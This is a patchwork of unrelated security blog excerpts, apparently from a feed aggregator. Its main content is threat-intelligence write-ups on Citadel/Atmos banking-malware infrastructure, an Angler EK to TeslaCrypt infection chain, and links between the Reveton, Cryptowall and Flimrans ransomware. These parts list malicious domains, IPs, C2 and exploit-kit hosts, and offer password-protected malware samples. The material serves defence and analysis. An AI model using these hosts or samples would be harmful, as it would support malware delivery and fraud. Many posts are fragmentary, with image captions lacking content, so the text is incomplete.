It is unlikely this is the only platform threat, or even the only threat in glibc. With the Internet of Things spreading extraordinarily, perhaps it’s time to be less concerned about being able to spy on every last phone call and more concerned about how we can make sure innovators have better environments to build upon. I’m not merely talking about the rather “frothy” software stacks adorning the Internet of Things, with Bluetooth and custom TCP/IP and so on. I’m talking about maintainability. When we find problems — and we will — can we fix them? This is a problem that took Android too long to start seriously addressing, but they’re not the only ones. A network where devices eventually become existential threats is a network that eventually ceases to exist. What do we do for platforms to guarantee that attack windows close? What do we do for consumers and purchasing agents so they can differentiate that which has a maintenance warranty, and that which does not?
Are there insurance structures that could pay out, when a glibc level patch needs to be rolled out?
There’s a level of maturity that can be brought to the table, and I think should. There are a lot of unanswered questions about the scope of this flaw, and many others, that perhaps neither vendors nor volunteer researchers are in the best position to answer. We can do better building the secure platforms of the future. Let’s start here.
Note that I'm not talking about the technology. Nor am I talking about consumer use-cases or developer adoption of outsourced authentication. In this post, I'm looking at IDaaS from the perspective of enterprise IAM and the on-going Digital Transformation.
Here's a few quotes that capture the essence:
First generation Identity as a Service (IDaaS) was a fashion statement that’s on its way out. It was cool while it lasted. And it capitalized on some really important business needs. But it attempted to apply a tactical fix to a strategic problem.Continue Reading
Security functions are coalescing into fewer solutions that cover more ground with less management overhead. Digital Enterprises want more functionality from fewer solutions.
The next generation of IAM is engineered specifically for Digital Business providing a holistic approach that operates in multiple modes. It adapts to user demands with full awareness of the value of the resources being accessed and the context in which the user is operating. Moving forward, you won’t need different IAM products to address different user populations (like privileged users or partners) and you won’t stand up siloed IDaaS solutions to address subsets of target applications (like SaaS).
Next generation IDaaS builds on all the promises of cloud computing but positions itself strategically as a component of a broader, more holistic IAM strategy. Next-gen IDaaS fully supports the most demanding Digital Business requirements. It’s not a stop-gap and it’s not a fashion statement. It’s an approach enabling a new generation of businesses that will take us all further than we could have imagined.
Guys of JPCERT, 有難う御座います！
Released an update to their Citadel decrypter to make it compatible with 0.0.1.1 sample.
Citadel 0.0.1.1 don't have a lot of documentation, so time as come to talk about it.
Personally i know this malware under the name 'Atmos' (be ready for name war in 3,2,1...)
The first sample i was aware is the one spotted by tilldenis here in jully 2015.
I re-observed this campaign in november 2015 with the same 'usca'.
You can find a technical description of the product here: http://pastebin.com/raw/cAqbrqAS
Here is a small part translated to English related to configuration and commands:
And one part related to some new features:
Minus some absolute nonsense in the description of AVG/Day, AVG/week and days/weeks
The author is a fecking lunatic trying to explain things that only he understand :)
Thanks to Malwageddon for the translation help.
Now.. take a free tour in the infrastructure.
Edit a webinject:
Webinjects for the group 'Canada':
Edit a webinject:
Some scripts sample:
• dns: 1 ›› ip: 22.214.171.124 - adress: IGUANA58.RU
• dns: 1 ›› ip: 126.96.36.199 - adress: MAREIKES.COM
• dns: 1 ›› ip: 188.8.131.52 - adress: TEHNOART.CO
• dns: 1 ›› ip: 184.108.40.206 - adress: 3DMAXKURSUM.NET
• dns: 1 ›› ip: 220.127.116.11 - adress: COASTTRANSIT.COM
Example of infected endpoints:
Server logs start the 3 oct 2015:
Search in files:
Iframe lead on a Keitaros TDS who lead on malware:
That right, second one is a blackhole exploit kit.
Jérôme Segura of MalwareBytes have wrote about this one here: https://blog.malwarebytes.org/exploits-2/2015/11/blast-from-the-past-blackhole-exploit-kit-resurfaces-in-live-attacks/
First one is RIG exploit kit delivering Chthonic targeting Russia and Ukraine.
And for update-flashplayer.ml, update-flash-security.ml, they lead to iBanking download.
CNC at templatehtml.ru
To get back on the original subject, here is the File hunter:
Different admins with different rights:
Some users have limited actions, for exemple one guys had only access to malware upload feature, probably to refresh the crypt.
6 users including the master user is using russian language on the panel, the rest is configured on english language.
WebInject server 2:
Pony used by one member of the gang:
Citadel 0.0.1.1 samples:
Decrypted Citadel plugins:
Hidden VNC demo: https://www.youtube.com/watch?v=TDOZfalD_LY
Other samples (not Atmos):
Some other atmos sample (Courtesy of Kafeine):
You can find my yara rules for mitigating Atmos here: https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Atmos.yar
The Google Chrome injections appear to work from v25.0.1349.2 (2012/12/06), till v43.0.2357.134 (2015/07/14)
Fun thing: I got correlations with a CoreBot sample and their webinjects used.
ch_new, wf2, cu_main, citi_new, ebay_new, [...]
Same kind of campaign inside their panels and same custom file names.
if you look for more infos about Citadel, the community did a great work here http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465
From the article:
On Wednesday 2016-02-17 at approximately 18:14 UTC, I got a full chain of events.
The chain started with a compromised website that generated an admedia gate.
The gate led to Angler EK.
Finally, Angler EK delivered TeslaCrypt, and we saw some callback traffic from the malware.
· 18.104.22.168 - img.belayamorda.info - admedia gate
· 22.214.171.124 - ssd.summerspellman.com - Angler EK
· 126.96.36.199 - clothdiapersexpert.com - TeslaCrypt callback traffic
Full write up is here.
Recently I spoke at WordCamp US 2015 on the topic WordPress Security — Navigating Today’s Website Threats!! WordPress is one of the most recognized website CMS platform available in the...
The post WordCamp US 2015: Navigating Today’s Website Threats!! appeared first on PerezBox.
This week on Security Weekly, we introduce Mike Strouse who is the CEO of ProXPN. He explains how he got started in ProXPN and more!
Security News of the week talks about:
- 5 Big Incident Response Mistakes
- D-Link DSL-2750B Remote Command Execution
- ASUS Router Administrative Interface Exposure
- A theory? - From a discussion at work I’d love some feedback on. Mass deployments of crypto locker using compromised crews, why the increase? Some thoughts: After OPM breach Chinese sponsored mercenaries are out of work and are now looking to pay the bills with resources that nation states don’t seem to care about. Mistakes get made, and things get tracked to weird places but who cares? Another thought is, maybe nation states are willing to share information, as some of them have more than enough date for the time being, so spreading the love with other compromised hosts and those other nations don't have the same agenda; pain and profit versus information gathering
- Power Grid Honeypot Puts Face on Attacks
Today on Hack Naked TV, Beau talks about Cash for Creds, Gmail Warnings, IRS PIN Compromise, and Cisco ASA RCE. Here on Hack Naked TV!
This week on Hack Naked TV, Aaron will be talking about Norse Co., Java, Cyber Terrorism, and Safe Harbor.
Beau talks about Backdoor in AMX, Linux Kernel Vuln, Apple Sharing Cookies, Hot Potato, Backhat 2016 Course, BSides Orlando.
Risk Based Security has released the Data Breach QuickView report that shows 2015 broke the previous all-time record, set back in 2012, for the number of reported data breach incidents. The 3,930 incidents reported during 2015 exposed over 736 million records.
Although overshadowed by the more than one billion records exposed in the two previous years, 2015 also ranks #3 in total reported exposed records.
The 2015 Data Breach QuickView report shows that 77.7% of reported incidents were the result of external agents or activity outside the organization with hacking accounting for 64.6% of incidents and 58.7% of exposed records. Incidents involving U.S. entities accounted for 40.5% of the incidents reported and 64.7% of the records exposed.
The report also revealed that individuals’ email addresses, passwords and user names were exposed in 38% of reported incidents, with passwords taking the top spot at 49.9% of all 2015 breaches. This is especially troubling since a high percentage of users pick a single password and use it on all their accounts both personal and work related.
You can get your free copy of 2015 Data Breach QuickView report here: http://www.riskbasedsecurity.com/2015-data-breach-quickview/
A while back we introduced the idea of Kali Linux Customization by demonstrating the Kali Linux ISO of Doom. Our scenario covered the installation of a custom Kali configuration which contained select tools required for a remote vulnerability assessment. The customised Kali ISO would undergo an unattended autoinstall in a remote client site, and automatically connect back to our OpenVPN server over TCP port 443. The OpenVPN connection would then bridge the remote and local networks, allowing us full "layer 3" access to the internal network from our remote location. The resulting custom ISO could then be sent to the client who would just pop it into a virtual machine template, and the whole setup would happen automagically with no intervention - as depicted in the image below.
Lately I received multiple questions about connection between Reveton and Cryptowall.
I decided to have a look.
A search in ET Intelligence portal at domains from Yonathan's Cryptowall Tracker
|ET Intelligence search on Specspa .com|
A look at the http connexion shows the "us.bin" call mentioned by Yonathan (btw the us.bin item is still live there)
|ET Intelligence : e2f4bb542ea47e8928be877bb442df1b http connexions|
|ET Intelligence : Associated alert pointing at Cryptowall.|
Himan EK dropping Cryptowall 2013-10-20
captured by ThreatGlass
With the same referer and in the same Exploit Kit i got dropped 20 days earlier Flimrans :
(See : http://malware.dontneedcoffee.
Flimrans disappeared soon after this post from 2013-10-08 about the affiliate :
Interestingly Flimrans is showing in US the same Design from Reveton pointed by Yonathan :
|Flimrans US 2013-10-03|
What is worth mentioning is that Flimrans was the only ransomware (i am aware of) to show a Spanish version of this same design :
|Flimrans ES 2013-10-03|
The timeline is also inline with a link between those two Ransomware (whereas Reveton was still being distributed months after these events).
Digging into my notes/fiddlers i even found that this bworldonline .com which is still hosting the us.bin was in fact also the redirector to HiMan dropping Flimrans 20 days earlier from same sunporno upper.
[The credits goes to Eoin Miller who at that time pointed that infection path allowing me to replay it]
|The compromised server storing the first design Blob used by cryptowall|
used to redirect 20 days earlier to Himan dropping Flimrans (which is using that same design).
So...Cryptowall son of Borracho? I don't know for sure...but that could to be a possibility.
Files : Items mentionned here. (password is malware)
HiMan Exploit Kit. Say Hi to one more - 2013-10-02
Flimrans Affiliate : Borracho - 2013-10-08
This week, we interview Dropbox's head of security, Patrick Heim. Paul, Larry, Jack, Joff, Carlos and Not Kevin talk about automating vulnerability scans, hackable kids toys and much more!
The Security Weekly crew interviews Essobi on his techniques for scanning the Internet and some of the interesting results!
With the recent release of Kali Rolling 2016.1 completed, we've gone ahead and updated our custom Kali VMware, VirtualBox, and ARM images. Here's a few news items and updates that we have regarding these images for those who prefer to get them pre-built.